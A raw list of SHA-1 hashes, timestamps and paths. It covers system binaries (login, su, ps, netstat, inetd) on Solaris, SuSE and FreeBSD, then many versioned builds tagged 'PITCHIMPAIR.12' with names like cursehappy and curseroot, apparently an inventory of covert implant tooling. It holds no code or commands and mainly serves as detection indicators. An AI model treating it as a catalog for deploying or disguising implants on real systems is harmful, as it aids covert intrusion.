[Solaris 2.8 Generic_117351-53 x86] +83A115888C544F2CDFFB424C2786E2035355FBCE Thu Sep 27 16:18:36 2007 /usr/sbin/inetd [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /bin/login [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /usr/bin/login [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /usr/bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /sbin/su [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/ucb/telnet [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/ucb/netstat [Solaris 2.8 Generic_117351-53 x86] + +E48D3D7D974DE31724D2B84C29EBB7CE96262CA4 Fri Jun 6 20:36:02 2008 /usr/bin/w [SuSE 11.0 x86_64] +0B128253924CE6F0C244D6C2AF5C303CA44A97FD Fri Jun 6 20:36:02 2008 /bin/ps [SuSE 11.0 x86_64] +4B1D1786D1875FEFD55AB415FEA0147E0C8D9B9D Fri Jun 6 20:37:28 2008 /sbin/modinfo [SuSE 11.0 x86_64] +6924B226E0B8012FC63B49F1F1AA458978EE92A9 Fri Jun 6 20:44:29 2008 /usr/bin/find [SuSE 11.0 x86_64] +E62431A172A1FC464AA6A08EB4C6CD1A5494A7B2 Fri Jun 6 21:18:06 2008 /usr/sbin/xinetd [SuSE 11.0 x86_64] +4AC4F9D4BC603CE779464D85426F5ED36AF8A343 Fri Jun 6 21:40:12 2008 /usr/bin/telnet [SuSE 11.0 x86_64] +3551E877E6F5F899B9C2DD9C8C0113613984AECF Fri Jun 6 22:31:48 2008 /bin/su [SuSE 11.0 x86_64] +72CFE9CBAC9465261C6B6501A46EE43A258876F7 Fri Jun 6 22:31:48 2008 /bin/rm [SuSE 11.0 x86_64] +F9AD5D1F07217933F9463A8B7BF550205A50B80E Fri Jun 6 22:31:48 2008 /bin/ls [SuSE 11.0 x86_64] +0BCDDFBAFF95EE57AF7AB76FE287EBDE61DE3DDE Fri Jun 6 22:42:40 2008 /sbin/arp [SuSE 11.0 x86_64] +5F7BC4234B02B88599EE53F7FA6B48D9D48134B3 Fri Jun 6 22:42:40 2008 /bin/netstat [SuSE 11.0 x86_64] +43DB6A33E7B2CF4E435CED0BDCB041F6D9E0CEC7 Fri Jun 6 23:44:52 2008 /bin/login [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /bin/sh [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /usr/bin/sh [SuSE 11.0 x86_64] +BB61EAB7F3C0521A9E1E949361ED633A7FF31AB7 Fri Jun 6 21:18:06 2008 /usr/sbin/rcxinetd [SuSE 11.0 x86_64] + +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Wed Dec 3 10:32:09 2008 /sbin/modinfo [SuSE 11.1 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Wed Dec 3 10:34:07 2008 /usr/bin/find [SuSE 11.1 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Wed Dec 3 10:41:06 2008 /sbin/arp [SuSE 11.1 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Wed Dec 3 10:41:08 2008 /bin/netstat [SuSE 11.1 x86_64] +653F929CFB6DD275736B887C5D6C460D437A9650 Wed Dec 3 10:54:27 2008 /usr/bin/telnet [SuSE 11.1 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Wed Dec 3 11:13:22 2008 /usr/bin/w [SuSE 11.1 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Wed Dec 3 11:13:22 2008 /bin/ps [SuSE 11.1 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Wed Dec 3 11:23:38 2008 /usr/sbin/xinetd [SuSE 11.1 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Wed Dec 3 11:51:02 2008 /bin/login [SuSE 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Wed Dec 3 11:56:36 2008 /bin/su [SuSE 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Wed Dec 3 11:56:35 2008 /bin/rm [SuSE 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Wed Dec 3 11:56:35 2008 /bin/ls [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /bin/sh [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /usr/bin/sh [SuSE 11.1 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Wed Dec 3 11:23:38 2008 /usr/sbin/rcxinetd [SuSE 11.1 x86_64] + +272CD69744E0828CB9720A6F61913F6D496B59EB Sun Mar 21 05:02:40 2010 /bin/ls [FreeBSD 7.3] +5DA3804559508448E4C3485DE21BD429D2572DFC Sun Mar 21 05:02:41 2010 /bin/ps [FreeBSD 7.3] +5767D9159AD5F9CCB0D311866F44083AEBCC10E8 Sun Mar 21 05:02:41 2010 /bin/sh [FreeBSD 7.3] +7CC4A00140AB6036BACEE64DD3C051CDAE792F07 Sun Mar 21 05:02:41 2010 /bin/rm [FreeBSD 7.3] +1A7A46FFFA98B0C9A0B381868B91FFF5961B6327 Sun Mar 21 05:03:29 2010 /usr/bin/su [FreeBSD 7.3] +4D47F9C3A8926C2A73ADCBD7CC1B7FC456ABAB0A Sun Mar 21 05:03:25 2010 /usr/bin/login [FreeBSD 7.3] +330C5C280FAF14779C759E50807DD3FAC74AEE48 Sun Mar 21 05:03:28 2010 /usr/bin/netstat [FreeBSD 7.3] +53048EB4BC00230E871EDEEACE2794909883F652 Sun Mar 21 05:03:33 2010 /usr/sbin/arp [FreeBSD 7.3] +1110CBC8C04E913E2296F6B4D396F2501BD5E018 Sun Mar 21 05:03:24 2010 /usr/bin/find [FreeBSD 7.3] +ECA585651C8FB6430DE8E78467ACDC84E9A638B7 Sun Mar 21 05:03:39 2010 /usr/sbin/inetd [FreeBSD 7.3] +E3C24420DF447149DC163F7ED0927BF2D08FAEE9 Sun Mar 21 05:03:29 2010 /usr/bin/telnet [FreeBSD 7.3] +67E9F041186C694930734EB0F2194709FFFAF89D Sun Mar 21 05:03:30 2010 /usr/bin/w [FreeBSD 7.3] + +32CFD8FE4AE3CFF5B3FA53BE76ED3A41022AE37B Thu Jan 1 11:49:56 2009 /bin/ls [FreeBSD 7.1] +780797782B7C1A6BB80B0900A1E0332FDAF9AB5F Thu Jan 1 11:49:56 2009 /bin/ps [FreeBSD 7.1] +BA040E931DAE40C802028FA568445AC94AE0CFAB Thu Jan 1 11:49:57 2009 /bin/sh [FreeBSD 7.1] +ED223D72D4466BD1B33B94CA3A63105BD8529B19 Thu Jan 1 11:49:57 2009 /bin/rm [FreeBSD 7.1] +AA173253697DB9FEB6019E288462045BA9FC03DF Thu Jan 1 11:52:48 2009 /usr/bin/su [FreeBSD 7.1] +E56D05728C00CF3B50AEC8086EF5CBD40299092A Thu Jan 1 11:52:42 2009 /usr/bin/login [FreeBSD 7.1] +C563A90895800EF793B6B7A7EC350E61A339F5E1 Thu Jan 1 11:52:44 2009 /usr/bin/netstat [FreeBSD 7.1] +D576085319014C75148155F70FB606028DFF098F Thu Jan 1 11:52:58 2009 /usr/sbin/arp [FreeBSD 7.1] +310E5FF06304A4519A9B1F38C006807970B4F6E0 Thu Jan 1 11:52:35 2009 /usr/bin/find [FreeBSD 7.1] +A5EF4098F23066DC193C6230A7F273721EF174AC Thu Jan 1 11:52:49 2009 /usr/bin/telnet [FreeBSD 7.1] +70A999C3C7DC4EBAB27406127008A45473458055 Thu Jan 1 11:52:53 2009 /usr/bin/w [FreeBSD 7.1] +24A243CBE44A25897707413D54622F232257CDF7 Thu Jan 1 11:53:08 2009 /usr/sbin/inetd [FreeBSD 7.1] + +B8643FDDA580BBDBE0E701FF3F15341C6F505DF6 Thu Feb 17 02:37:54 2011 /bin/ls [FreeBSD 7.4] +C3A23721F528F33D64B3BFFE6881DB2C2DDFD890 Thu Feb 17 02:37:54 2011 /bin/ps [FreeBSD 7.4] +88FC0BA58AD1399F9EC1E435966A39DE00241F65 Thu Feb 17 02:37:55 2011 /bin/sh [FreeBSD 7.4] +6EB4E8D03AFB51060D179683B75306367839CF35 Thu Feb 17 02:37:55 2011 /bin/rm [FreeBSD 7.4] +63B69241ED8E02A5DA160726431705E1D41D30D9 Thu Feb 17 02:38:36 2011 /usr/bin/su [FreeBSD 7.4] +63AC3BF4EDC88662A7C3B3E8B32AE34CC7ED59DE Thu Feb 17 02:38:33 2011 /usr/bin/login [FreeBSD 7.4] +EB5AEB74BF68E4BD37B9A9B708B917233EA8B6FC Thu Feb 17 02:38:34 2011 /usr/bin/netstat [FreeBSD 7.4] +DAA8D851B4C61CBFD544006A99E60EF101EE4DC4 Thu Feb 17 02:38:39 2011 /usr/sbin/arp [FreeBSD 7.4] +8A3B255F2705D662A01F74AE9D50775F72CB283F Thu Feb 17 02:38:32 2011 /usr/bin/find [FreeBSD 7.4] +03FF49B4AA5346D1AB371880085440E723AE595C Thu Feb 17 02:38:42 2011 /usr/sbin/inetd [FreeBSD 7.4] +25524165C4ED5EB20FB1AD453D961FEBA23C90FD Thu Feb 17 02:38:36 2011 /usr/bin/telnet [FreeBSD 7.4] +1D36CAD9DD58A3F5A3D318147E6727DE9EA29853 Thu Feb 17 02:38:37 2011 /usr/bin/w [FreeBSD 7.4] + +6F046C57CE438EC9ECD0AC20A65AFDC74BDF5D15 Sun Feb 24 17:50:52 2008 /bin/ls [FreeBSD 7.0] +DD93990E10061546041B98BF3C461D5B27CFBFBE Sun Feb 24 17:50:52 2008 /bin/ps [FreeBSD 7.0] +CB2DC7DEB25B5F5D25AF27A3E78D5EB0A1367E6C Sun Feb 24 17:50:53 2008 /bin/sh [FreeBSD 7.0] +7DD7380E9640E1D9AC6DDBF60B1F7E2C327109E9 Sun Feb 24 17:50:53 2008 /bin/rm [FreeBSD 7.0] +490AD5620DEA0095941D762D6D82C5EF644BF2B8 Sun Feb 24 17:52:46 2008 /usr/bin/su [FreeBSD 7.0] +2B7FA30B335E546FE0E4152087651E23F0054D42 Sun Feb 24 17:52:42 2008 /usr/bin/login [FreeBSD 7.0] +5A066814CC7CC9DC273E5C725B0A35B98CE8DF0F Sun Feb 24 17:52:44 2008 /usr/bin/netstat [FreeBSD 7.0] +1243E1452B209497E60E08B1C90305FC3AD79D6B Sun Feb 24 17:52:54 2008 /usr/sbin/arp [FreeBSD 7.0] +029EF64D492E89BA18AD03F227E0DD9E2F9E52F0 Sun Feb 24 17:52:37 2008 /usr/bin/find [FreeBSD 7.0] +15B174CE4031A11E0599282F462501C5646A7796 Sun Feb 24 17:52:47 2008 /usr/bin/telnet [FreeBSD 7.0] +7496E5578A27104DC5F64CA74719777350DC97A5 Sun Feb 24 17:52:49 2008 /usr/bin/w [FreeBSD 7.0] +2B68CADDE09B6225C6FDBBE2DB22C13AAC48FBD3 Sun Feb 24 17:53:02 2008 /usr/sbin/inetd [FreeBSD 7.0] + +90DD9EEE33EF7D32920A8C179E020862D6DD9721 Thu Oct 6 23:17:26 2011 [FW.zip busybox] busybox + +B582EBF715118F73AB3D047A34B3B43FF7DC6D2E Fri Apr 24 12:05:18 2009 [PITCHIMPAIR.12] charm_fiesta.hp-uxb.11.00_v.1.1.0.7 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_9 +22D930E5612B6EDA2700B5269FE5F54D319AA068 Tue Jul 22 19:56:41 2008 [PITCHIMPAIR.12] charm_penguin.sunos5.10_v.1.0.0.6 +64BE0F869F25199A1F0E42C4B3DC3B890898AD2F Thu Mar 10 19:57:44 2011 [PITCHIMPAIR.12] charm_penguin.sunos5.8_v.2.0.0.1 +3DB22E768BD206D98A238F2A7ECA1A808B008E3F Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 +055245170D813DA026D59630623EE13136143E6F Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.linuxsuse9.0_v.1.2.0.2 +F76FEB529CB68871E1B0CB5D813C8CFAC538F0DE Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.sunos5.8_v.1.2.0.2 +223EAC43A8C30ED3C59DDB8B43C5440016E8F5DC Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.sunos5.9_v.1.1.0.3 +745A652564161CDD09BE5FB188D37F7029F6A167 Tue Jun 15 18:03:05 2010 [PITCHIMPAIR.12] charm_razor.win2k_v.2.0.0.1 +44A5E77FC31C9104C1EEE3CAB47D5D6B54EA8E84 Fri Oct 17 13:48:49 2008 [PITCHIMPAIR.12] charm_saver.hp-uxb.11.11_v.1.0.0.1 +9B1608CD4BFCD8D6970187589AE999E0829C81B7 Thu Jun 3 16:19:31 2010 [PITCHIMPAIR.12] charm_saver.hpux11.00_v.2.0.0.2 +AA7D6B77B5C000314C856431883DF2B0D12EC046 Tue May 4 17:01:58 2010 [PITCHIMPAIR.12] charm_saver.win2k_v.2.0.0.2 +D1BB7A0F6EC97C31450251C83879CABCDC071F23 Wed Dec 17 16:05:14 2008 [PITCHIMPAIR.12] charm_uno.sunos5.9_v.1.1.0.4 +40CC8C09636384EA5F88E97BAAAFF7E09B42EC02 Thu Apr 24 19:02:39 2008 [PITCHIMPAIR.12] charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 +AE9EF603C60BFE913764BAFE5D6268035A2DF7ED Fri Oct 1 17:26:44 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.3.linuxrh7.3_v.linux +7037E6F1D3F387691BC584FFF6CEAEDAC6244F9A Wed Oct 6 17:45:58 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.4.sunos5.8_v.solaris +5CC8C3587040C40C263C9B5199F716A3CE443DB1 Mon Sep 28 14:40:11 2009 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.0.2 +750BBC158C7DB265225A5269677EAD5D04263513 Thu Jan 21 17:55:26 2010 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.1.2 +CCDEAB6DCCCB2BC0F5FBBB17FE989C7179E76745 Thu Mar 6 17:40:19 2008 [PITCHIMPAIR.12] cursebingo.sunos5.10_v.1.0.1.2 +B18A53F08C39EBC0D222D7B2BABCE09F63C57D73 Mon Mar 15 15:02:26 2010 [PITCHIMPAIR.12] cursebingo.v2.0.0.3.sunos5.8_v.solaris +B5652F2E11129D51FFAB3F6F9BC188B3226BAEB0 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.12] cursebongo.sunos5.10_v.1.0.0.4 +066C9ED5D6E3498A43CAF705945DE78AA723C206 Tue Jun 23 18:52:29 2009 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.1.1.0.1 +908A7347F0622960E8225BF3206636111CBE0AED Mon May 3 12:23:09 2010 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.2.0.0.1 +95C2D8C5354AD0BB09796E80F846115168262B86 Mon Nov 3 15:29:43 2008 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.0.1 +43AB277B3629507710FD1269C91ABB8E74CCA969 Fri Apr 24 16:39:03 2009 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.1.4 +4635E05651DBCD3F2EDA4A174D7C33F01DE1C9C3 Wed Jun 15 12:34:23 2011 [PITCHIMPAIR.12] cursedevo.sunos5.8_v.1.0.0.3 +DCD5465C9327A0AFE309A116AB428B6EA95B60FE Tue Aug 11 16:33:15 2009 [PITCHIMPAIR.12] curseflower.mswin32_v.1.0.0.3 +91ACE7E5E2073367D810C933E10ABF35432094F7 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.hpux11.00_v.2.1.0.1 +3DE069D24A523C10A1F2CF6E53DB86DE4878CA40 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.hpuxb.11.00_v.2.0.0.2 +84B2DDBE9ECACCA5E786079C314AB1F0C935A401 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.0.0.2 +CAB5155EF63DC824DE53568A639735310C35EF22 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.1.0.1 +133041F8A5206116CF4A14883BC93DD53641C00B Mon Apr 12 14:30:21 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.0.0.5 +7B73F0EB39A434DAB80BE1F5240AAA8ED3499C28 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.1.0.1 +84290FB4E490182FACC517561544226C6FA89465 Mon Jun 11 20:01:36 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.0.4 +5155C50365264F0325A4E585A01F890E6A4695DB Wed Sep 19 12:22:03 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.1.1 +F9DB4E9BB875AE22951B74A8A727E30C531B31C1 Wed Oct 22 18:15:34 2008 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.2.0.2 +90B50B531E0DB2DFDF885F23E531973B1C85DF24 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.0.0.2 +78DA2E62CD6A53B75A38A41DC65950BA10828D87 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.1.0.1 +54142A2EBEB9490336E2158C46BAF2ACC75238C7 Wed Sep 19 12:22:35 2007 [PITCHIMPAIR.12] cursegismo.sunos5.9_v.1.1.1.1 +A95C3632C0AF9F491658F8749DB7FDA243B8FA92 Thu Apr 9 15:32:28 2009 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.5.0.0.5 +96CE881EA4546F46961475A9D6B0BF40D1B7BE31 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.6.0.0.1 +0D579EFC002622BC2D639FB8E5DFFA1E45A5BE51 Wed Jan 2 21:29:34 2008 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.11_v.4.1.2.4 +EDA9AD9BE6CCBCCCDD96EEEADF2E744E4297A5C0 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.hpux11.00_v.6.1.0.1 +D83037BC4E025BABA874E5BBA4079C4205B9B264 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.linuxrh7.3_v.6.1.0.1 +2C3C96D3AEBDE479FC5147F8DCF00625FD78024E Thu Apr 9 15:32:40 2009 [PITCHIMPAIR.12] cursehappy.mswin32_v.5.0.0.5 +D0E3E98DA05D29FB9802291E744EF1667582D756 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.rhl7.3_v.6.0.0.1 +CFDA3B122E8599C57B3F8B632324E43427536012 Thu Apr 9 15:32:51 2009 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.5.0.0.5 +16C7C11BD8C70F333F16341ABA0DB2BAAD0904FC Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.0.0.1 +00D54B5F950A377E900B64B565DA58FD014EB672 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.1.0.1 +8CA41956ED63025C8760F3EBD4B704F7C7CB7F70 Wed Jan 2 21:34:56 2008 [PITCHIMPAIR.12] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +6485249152B9A0DCC327D80F400275CA0703773C Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.0.0.1 +E79BCE98D9F64ED71CFCA7C6C507FC7723F9861A Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.1.0.1 +0D42734F8F15EDFFB3B73A6DFDE6FC60DC2FC045 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.aix5.1_v.2.1.0.2 +05D9935E7D3B62EF3A1DC3E5CA06B0DA58787995 Thu Aug 6 14:57:59 2009 [PITCHIMPAIR.12] cursehelper.hp-uxb.11.00_v.1.1.0.1 +2B6ABB47B4C5DF369A794A6FED08CD476470C9FC Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.hpux11.00_v.2.1.0.2 +E9E9EE03E063BE329F2F72FBF4E4A666CEC9AA62 Thu Aug 6 14:58:09 2009 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.1.1.0.1 +0D151AB49A9974844A0089B9C576AA6218479512 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.2.1.0.2 +AA227C89ACE731945DC53ACF7DC90DECB4C2DBE4 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.win2k_v.2.1.0.2 +100CD2DD37B8E94CAB80AA62AB52D280075AF9B9 Wed Jun 11 18:30:26 2008 [PITCHIMPAIR.12] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +05C9C15D028FCB775D8131339FCA9BF35429B01C Fri Sep 26 15:54:20 2008 [PITCHIMPAIR.12] cursehole.v1.1.0.3.aix5.1_v.aix_51 +40829E57EC1CE506E3B2BF681AB1DD7C6216B864 Mon Aug 17 18:47:42 2009 [PITCHIMPAIR.12] cursehole.v1.1.1.1.aix5.1_v.aix_51 +E7950DEE4159585B117056C3A41BD677687F1747 Wed Jan 2 22:23:15 2008 [PITCHIMPAIR.12] cursehummer.hp-uxb.11.11_v.1.0.0.11 +E5D9850E1BCF7C7B1DD40128EFEB4087E9468AF7 Thu Jun 28 18:46:46 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +2D3FF8ED7B3E3D4C3F2504845648E613893000E4 Wed Feb 18 11:36:47 2009 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +6BD65C84C0C55D59FF5F561BA1FF2CDA897C992B Thu Jun 28 18:47:52 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +311AFCA87D343B8DF9F38D7933DFA509E2966D30 Thu Feb 5 13:49:56 2009 [PITCHIMPAIR.12] cursehydrant.sunos5.8_v.6.1.0.2 +925475C5D2A5D4A85C78F934DDF06E596A7ABAF3 Tue Nov 10 11:29:38 2009 [PITCHIMPAIR.12] cursejoker.aix5.1_v.1.0.0.4 +E60CDF1037A260DE386C7AD7807A934EB0CDA592 Fri May 1 14:32:25 2009 [PITCHIMPAIR.12] cursekettle.sunos5.8_v.1.0.0.2 +ED00A5537A9F0CD8E7E58F6693C607BB33AD7748 Mon Jun 13 18:20:20 2011 [PITCHIMPAIR.12] cursekiln.sunos5.8_v.1.0.0.2 +A0B41C0CFCE32EFB02A72D290265BE0D0E9AFC11 Mon Sep 29 17:58:40 2008 [PITCHIMPAIR.12] curselion.aix.5.1_v.1.0.0.10 +26EB533FA7E3EA9559FD71E3B6C470497C3B25F4 Wed Apr 21 16:15:46 2010 [PITCHIMPAIR.12] cursemagic.aix5.1_v.2.0.1.1 +5BD539E66B8EFBC1E6077F22F3CC850E9487222D Wed Apr 21 16:15:41 2010 [PITCHIMPAIR.12] cursemagic.hpux11.00_v.2.0.1.1 +DAC7B3214478A845B86D1E91915E33575C93A13C Thu Dec 18 19:06:03 2008 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +74C08F1BD4008954E028181E7BE9B51DDE95B2BD Tue Apr 14 18:41:05 2009 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +9BD3FEB3AE384C1592ACC5FEC2B0F8BB740BC405 Fri Apr 9 10:40:04 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.0.1 +F3D41481F353EE9AC9ED9777F12FFFBAEB814C7F Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.1.1 +6C5D7A56FCDB65792E05D2DBD9631978511D5F1F Fri Nov 6 12:41:52 2009 [PITCHIMPAIR.12] cursemagic.rhl7.3_v.1.3.0.5 +230335E9756A226A95B86C8EA709320959A3AFE5 Fri Apr 9 10:37:34 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.0.1 +FB1B509AB5167368EE71CA93EECFAAD66D4765C1 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.1.1 +1A482796010B00C24BCD30A3F790571DEFE65443 Tue Jan 23 15:15:39 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.0.0.0 +26493B4EC53AC10B1A920CE7469335B999DEF1A1 Wed Sep 19 12:28:08 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.1.0.3 +CF983C394CBA918C8EE1362FA82C9EB9A49EFE72 Thu Dec 18 19:09:11 2008 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.2.0.2 +7A5A909B508E97EF52954DB6D3F1F5F0021390EA Tue Apr 14 18:41:15 2009 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.3.0.5 +26760620759A575F03DB3811EBF0E3E3698CF44F Wed Sep 19 12:28:40 2007 [PITCHIMPAIR.12] cursemagic.sunos5.9_v.1.1.0.3 +5DD669543CDF1C080324BE347E838C8EA9E5FE80 Fri Aug 6 14:27:12 2010 [PITCHIMPAIR.12] cursenag.sunos5.8_v.1.0.0.1 +D63912E862CAAC386EDF1581CC57D28DC88CBF00 Thu Jul 15 15:49:59 2010 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.0.0.2 +C45D7E21D425B5DFEEBB35F030101D0CE8102EFE Tue Jun 28 16:49:46 2011 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.1.0.4 +D4F511AA47D7C82A2D7BA76B73870C0A50F10FC4 Fri Jan 16 20:35:21 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.0.5 +8A9C7309001627AD6463D192907453859C113705 Thu Mar 26 12:52:26 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.1.8 +D02B913D9566369278A77F9F6C3BB268509C2E8E Mon Mar 12 21:15:54 2007 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1 +C258267401EFA2A493E750D6E2F94AF05C9973A2 Thu Mar 6 19:50:10 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1.1.1 +1650D59B59E3749562571534A043AFB3FF05BA1D Mon Aug 4 15:49:51 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.2.0.7 +DB3ECC5696D3785D362B0B235845EB27F6FC304C Fri Jan 16 20:35:37 2009 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.3.0.5 +62722FCEE8CB2048FE74B92FD97DF49270FE0066 Thu Mar 26 12:52:35 2009 [PITCHIMPAIR.12] curserazor.sunos5.8_v.1.3.1.8 +CE2AB103A224872A374EBD6AD16C0C63C2A82823 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.0.5 +1F36611F0A9E1B9BCF9BDE6E983FBABE628D7F33 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.1.1 +349885662B4C89A399DE5C5CC96BFFC394911E77 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.0.5 +BB8E43C87C436F886F515BCF1439CB214C6FC726 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.1.1 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.0.2 +6438D10D5FC4D9C349B0BFA38EFD0ED5D328E6A4 Tue May 19 18:51:00 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.2.9 +D5A0ED87A0E5029AA0A8568EFD2F8ACFEFC0DC2E Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.0.0.3 +63BD0E5F8C55B62BA0927D6578E53167CD369387 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.1.0.8 +3CF20147D62A8E021734AC42F0246E0F6B83E0DB Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.hpux11.00_v.2.1.0.8 